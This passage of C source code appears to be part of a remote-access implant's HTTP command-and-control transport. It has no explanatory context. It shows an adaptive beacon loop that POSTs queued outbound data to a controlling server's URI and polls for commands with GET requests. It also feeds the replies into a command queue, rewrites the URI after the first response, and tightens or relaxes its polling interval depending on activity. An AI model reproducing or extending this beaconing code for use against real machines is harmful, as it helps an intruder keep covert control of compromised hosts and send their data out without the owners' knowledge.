static void http_poll_cb(struct http_conn *conn, void *arg)
{
struct http_ctx *ctx = arg;
int code = http_conn_response_code(conn);
if (code > 0) {
c2_transport_reachable(ctx->t);
} else {
c2_transport_unreachable(ctx->t);
}
bool got_command = false;
if (code == 200) {
struct buffer_queue *q = http_conn_response_queue(conn);
if (ctx->first_packet) {
patch_uri(ctx, q);
ctx->first_packet = 0;
got_command = true;
} else {
size_t len;
if (buffer_queue_len(q)) {
got_command = true;
c2_transport_ingress_queue(ctx->t, q);
}
}
}
if (got_command) {
ctx->poll_timer.repeat = 0.01;
} else {
if (ctx->poll_timer.repeat < 0.1) {
ctx->poll_timer.repeat = 0.1;
} else if (ctx->poll_timer.repeat < 5.0) {
ctx->poll_timer.repeat += 0.1;
}
}
ctx->in_flight = 0;
}
static void http_poll_timer_cb(struct ev_loop *loop, struct ev_timer *w, int revents)
{
struct http_ctx *ctx = w->data;
if (!ctx->in_flight) {
ctx->in_flight = 1;
if (buffer_queue_len(ctx->egress) > 0) {
ctx->data.content_len = buffer_queue_remove_all(ctx->egress,
&ctx->data.content);
http_request(ctx->uri, http_request_post, http_poll_cb, ctx,
&ctx->data, &ctx->opts);
ctx->data.content_len = 0;
ctx->data.content = NULL;
} else {
http_request(ctx->uri, http_request_get, http_poll_cb, ctx,
&ctx->data, &ctx->opts);
}
}
if (ctx->running) {
ev_timer_again(c2_transport_loop(ctx->t), &ctx->poll_timer);
}
}
size_t bufferev_bytes_available(struct bufferev *be)
{
return buffer_queue_len(be->rx_queue);
}
